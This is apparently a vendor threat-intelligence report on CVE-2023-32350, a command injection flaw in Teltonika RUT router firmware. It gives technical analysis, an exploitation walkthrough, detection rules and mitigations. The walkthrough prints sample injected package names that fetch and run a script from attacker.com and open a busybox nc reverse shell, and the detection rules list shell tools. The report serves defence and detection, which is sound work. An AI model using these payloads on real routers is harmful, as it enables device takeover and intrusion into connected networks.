CVE-2023-32350

Executive Summary

CVE-2023-32350 is an operating system (OS) command injection vulnerability affecting Teltonika RUT-series router firmware versions 00.07.00 through 00.07.03. The flaw resides in a Lua service where a user-supplied package name parameter is passed unsanitized into a function that ultimately invokes OS-level commands. An authenticated or unauthenticated remote attacker (depending on service exposure) can leverage this to execute arbitrary OS commands with the privileges of the router's Lua service, potentially achieving full device compromise.

Teltonika RUT routers are widely deployed in industrial IoT, telemetry, fleet management, and remote access use cases — often acting as gateways between OT networks and the internet. Successful exploitation gives an attacker control over network routing, allows lateral movement into connected OT segments, enables data exfiltration, and can be used to disrupt connectivity for downstream devices. Given the CVSS score of 8.0 (High severity) and the fact that no patch has been confirmed across any tracked source, affected devices should be considered actively at risk. The EPSS score of 0.01480 places this CVE at the 71.5th percentile of exploited CVEs, indicating meaningful in-the-wild exploitation potential.

Technical Analysis

The vulnerability exists in the RUT router firmware's Lua-based service layer, specifically within versions 00.07.00 through 00.07.03. Lua is used in the router's embedded web management framework to handle HTTP requests and interface with underlying system utilities. The NVD description indicates that a specific function within this Lua service accepts a user-controlled parameter intended to hold a package name. This parameter is then used in a context where it is passed to an OS command without proper sanitization or shell escaping.

The attack mechanism follows the classic OS command injection pattern (CWE-78). The vulnerable function constructs a shell command that incorporates the user-supplied package name. Because the input is not validated or escaped, an attacker can inject shell metacharacters such as semicolons (;), pipes (|), backticks (`), or $() command substitution syntax. When the Lua service executes the command, the injected payload is interpreted by the shell as additional OS commands.

The attack surface is the router's management interface — both the web UI and any underlying Lua HTTP endpoints that call into the vulnerable function. Since RUT routers are designed for remote management, these services are frequently exposed on the WAN interface either directly or via port forwarding, making them reachable by unauthenticated or low-privileged remote attackers. The NVD description does not specify whether authentication is required to reach the vulnerable parameter; however, the absence of authentication details combined with a CVSS base score of 8.0 (which typically reflects a network-exploitable, high-impact flaw) suggests the attack vector is likely remote and requires minimal or no credentials.

The failure mode is an injection into a shell execution context. The vulnerable Lua code likely uses a pattern similar to os.execute("opkg install " .. package_name) or io.popen("some_command " .. package_name) — though these exact function names are NOT confirmed by the NVD description and are provided only as illustrative patterns. What is confirmed is that the parameter carries a package name, and that passing a malicious package name results in OS command execution. Insufficient technical detail is available to identify the exact function, endpoint, or parameter name from the NVD data.

The impact severity is amplified by the fact that the Lua service typically runs with elevated privileges on embedded routers — often root or a privileged system user — allowing full control over the device's filesystem, network interfaces, firewall rules, and services.

Exploitation Scenarios

Step 1 — Reconnaissance/target identification: An attacker scans the internet for Teltonika RUT routers. Shodan queries such as http.title:"RUT" or http.html:"Teltonika" reveal candidate targets. The attacker also fingerprints the firmware version by accessing the web management interface and checking the version banner; targets running 00.07.00 through 00.07.03 are confirmed vulnerable.

Step 2 — Triggering the flaw class: The attacker identifies the vulnerable function within the Lua service that processes a package name parameter. This may be reachable directly via the web interface (e.g., a package management or update page) or via an HTTP API endpoint that the Lua service exposes. Because the parameter is user-controlled and unsanitized, the attacker can inject shell metacharacters into it. No public PoC is available; the attack chain is inferred from the vulnerability class (OS command injection).

Step 3 — Payload/execution method: The attacker submits a crafted package name such as:

legitpackage; wget http://attacker.com/payload.sh -O /tmp/p.sh; chmod +x /tmp/p.sh; /tmp/p.sh

(Example payload only — illustrates the injection class, not a confirmed exploit.) When the Lua service constructs the OS command with this package name, the shell interprets the injected segments as separate commands. The payload downloads and executes a secondary script, or alternatively uses a reverse shell payload:

package$(busybox nc attacker.com 4444 -e /bin/sh)

The injected OS commands execute with the privileges of the Lua service, typically root or equivalent on the embedded device.

Step 4 — Post-exploitation impact: With command execution established, the attacker can:

• Exfiltrate configuration files, VPN credentials, and Wi-Fi passphrases stored on the device.
• Modify firewall rules and routing tables to enable lateral movement into the connected LAN/OT network.
• Install persistent backdoors (e.g., modified firmware scripts, cron jobs, or hidden listeners).
• Use the compromised router as a pivot node or relay for further network attacks.
• Disrupt connectivity by shutting down network interfaces or bricking the device, causing denial of service for downstream devices.

Impact Assessment

Business Impact: Teltonika RUT routers are commonly deployed as the primary internet gateway for remote industrial sites, SCADA environments, smart agriculture, fleet vehicles, and retail point-of-sale systems. Compromise of these devices can result in:

• Loss of network integrity: Attackers can reroute traffic, perform man-in-the-middle attacks, or silence alarm telemetry.
• Operational disruption: Downstream devices lose connectivity; production processes halt; delivery fleets lose tracking.
• Data breach: Sensitive configuration data (VPN credentials, certificates, SIM/APN details) can be exfiltrated.
• Regulatory exposure: For organizations under compliance regimes (GDPR, NERC CIP, IEC 62443), a confirmed breach may trigger mandatory disclosure and audit costs.

Affected Systems: All Teltonika RUT-series routers running firmware versions 00.07.00, 00.07.01, 00.07.02, or 00.07.03. Models commonly include RUT950, RUT955, RUT240, RUT241, RUT850, and related variants (exact model list not confirmed by NVD data).

Blast Radius: Network-adjacent systems are at risk. Since the router is the network boundary device, compromise grants the attacker visibility and control over all traffic crossing the router. The CVSS vector (base score 8.0, high) reflects a network-exploitable, high-impact vulnerability; the availability, confidentiality, and integrity impacts are all rated high.

Exploitation in the Wild: As of this report, no confirmed exploit-in-the-wild evidence or threat actor campaign has been publicly documented. CISA KEV does not list this CVE. The EPSS percentile of 71.5% indicates elevated exploit probability, meaning it is more likely than ~70% of known CVEs to be exploited in the near future.

Detection Guidance

Sigma Rule

title: Teltonika RUT OS Command Injection Attempt (CVE-2023-32350)
id: 51c389fd-3ff1-44e8-bd33-0f8c4d16b09e
status: experimental
description: Detects OS command injection payloads in HTTP requests to Teltonika RUT router management interfaces targeting the Lua package name parameter.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32350
author: Valtersit Threat Intelligence
date: 2024/05/15
logsource:
    category: webserver
    product: teltonika
detection:
    selection_cmd_chars:
        - c-uri|contains:
            - ';'
            - '|'
            - '`'
            - '$('
            - '&&'
            - '||'
            - '> /tmp/'
            - '/bin/sh'
            - 'wget '
            - 'curl '
    selection_package_param:
        - c-uri|contains|all:
            - 'package'
            - 'name='
    condition: selection_cmd_chars and selection_package_param
    timeframe: 10s
level: high
falsepositives:
    - Legitimate package names containing special characters (rare)
    - Administrative actions using package management features

YARA Rule

rule Teltonika_RUT_Lua_Command_Injection_CVE_2023_32350
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects exploit payloads targeting Teltonika RUT Lua service command injection (CVE-2023-32350)"
        date = "2024-05-15"
        cve = "CVE-2023-32350"
        severity = "high"
    strings:
        $pkg_param1 = "package_name=" ascii wide
        $pkg_param2 = "package=" ascii wide
        $cmd_semi = ";wget " ascii wide
        $cmd_or = "||wget " ascii wide
        $cmd_sub = "$(wget " ascii wide
        $cmd_wget = "wget http://" ascii wide
        $cmd_curl = "curl http://" ascii wide
        $cmd_revshell1 = "/bin/sh" ascii wide
        $cmd_revshell2 = "busybox" ascii wide
        $cmd_shell = "/bin/bash" ascii wide
        $cmd_etc = "chmod +x" ascii wide
        $cmd_tmp = "> /tmp/" ascii wide
    condition:
        any of ($pkg_param*) and any of ($cmd_semi, $cmd_or, $cmd_sub, $cmd_wget,
            $cmd_curl, $cmd_revshell*, $cmd_shell, $cmd_etc, $cmd_tmp)
}

Suricata IDS Rule

alert http any any -> any any (msg:"ET EXPLOIT Teltonika RUT Lua OS Command Injection Attempt (CVE-2023-32350)"; flow:established,to_server; http.uri; content:"package"; http.uri; pcre:"/(?:\;|\||\&\&|\|\||\`|\$\().*(?:wget|curl|nc|/bin/sh|busybox|chmod)/i"; classtype:attempted-admin; sid:202400001; rev:1; metadata:created_at 2024_05_15, updated_at 2024_05_15, cve CVE_2023_32350;)

Elastic Detection

// EQL query for detecting command injection attempts against Teltonika RUT Router web services
sequence by source.ip
  [ network where network.protocol == "http"
    and http.request.method == "POST"
    and url.path like "*package*"
    and (url.query like "*;*" or url.query like "*|*" or url.query like "*`*" or url.query like "*$(*")
  ]
  [ process where process.name in ("sh", "bash", "busybox")
    and process.command_line like "*wget*" or process.command_line like "*curl*"
    or process.command_line like "*chmod*" or process.command_line like "*/bin/sh*"
  ]

Splunk SPL Query

index=proxy OR index=web
| where like(uri_path, "%package%")
| regex uri_query="(?i)((;|\||\&\&|\|\||`|\$\()\s*(wget|curl|nc|busybox|/bin/sh|chmod))"
| stats count by src_ip, dest_ip, uri_path, uri_query, _time
| where count > 1
| sort -_time

Wazuh OSSEC Rule

<group name="teltonika,">
  <rule id="100401" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\.*package\.*</field>
    <regex>(\;|\||\&\&|\|\||$\(|`).*(wget|curl|/bin/sh|busybox|chmod)</regex>
    <description>Teltonika RUT RUT OS Command Injection attempt (CVE-2023-32350)</description>
    <group>attack.initial_access,attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No official patch, firmware update, or vendor advisory confirming a fix has been identified from any tracked source. Affected firmware versions 00.07.00 through 00.07.03 remain vulnerable. Organizations must treat this as an unpatched, actively exploitable vulnerability.

Immediate Mitigations (apply within 24 hours):

1. Restrict network exposure: Disable remote management (HTTP/HTTPS) on WAN-facing interfaces. If remote management is required, restrict access to trusted IP ranges using a firewall ACL or VPN-only access.
2. Disable the vulnerable Lua service if it is not required for normal operation (consult Teltonika documentation for specific service names).
3. Change management credentials — if the service requires authentication, ensure strong, unique passwords are in use; do not use default credentials.
4. Monitor for anomalous outbound connections from affected routers, particularly to unknown IPs/ports on 80, 443, or non-standard ports.

Patch/Upgrade Steps:

1. Monitor Teltonika's official firmware release page (teltonika-networks.com/support/downloads) for a patched firmware version beyond 00.07.03.
2. Subscribe to Teltonika security advisories via their RSS feed or partner notification list.
3. Upon release of a patched version, schedule a maintenance window to upgrade all affected devices; test on a staging unit first.
4. If no patch is available within 30 days, consider compensating controls (below) as the primary defense.

Long-Term Hardening:

1. Implement a change management process requiring all RUT routers to be updated within 7 days of firmware release.
2. Deploy a network segmentation strategy so RUT routers are isolated from critical OT/IT segments; place them behind a stateful firewall.
3. Enable centralized logging on routers and forward logs to a SIEM for continuous monitoring.
4. Perform quarterly vulnerability scans of the management interface.
5. For end-of-life devices that cannot be patched, replace them with current-generation hardware.
6. Establish an incident response playbook specific to router compromise, including steps for device wipe and re-provisioning.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-32350 — Official vulnerability description, CVSS scoring, and references from the National Vulnerability Database.
2. Teltonika Networks Security Advisories: https://teltonika-networks.com/support/downloads/advisories — Vendor's official security advisory page (check for updates regarding this CVE).
3. Teltonika Support/Downloads Portal: https://teltonika-networks.com/support/downloads — Official firmware download and release notes; monitor for patched versions.
4. FIRST EPSS (Exploit Prediction Scoring System): https://www.first.org/epss/ — EPSS score 0.01480 (71.5% percentile) tracking predicted exploitation likelihood.
5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — Confirm CVE-2023-32350 is NOT listed (as of this report).

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: No confirmed threat actor campaigns or public exploit-in-the-wild evidence exists for CVE-2023-32350 at the time of writing. No exploit code, Metasploit module, or Nuclei template is publicly available. Exploitation activity, if any, has not been disclosed publicly. The elevated EPSS percentile suggests that attackers are likely already probing for this vulnerability.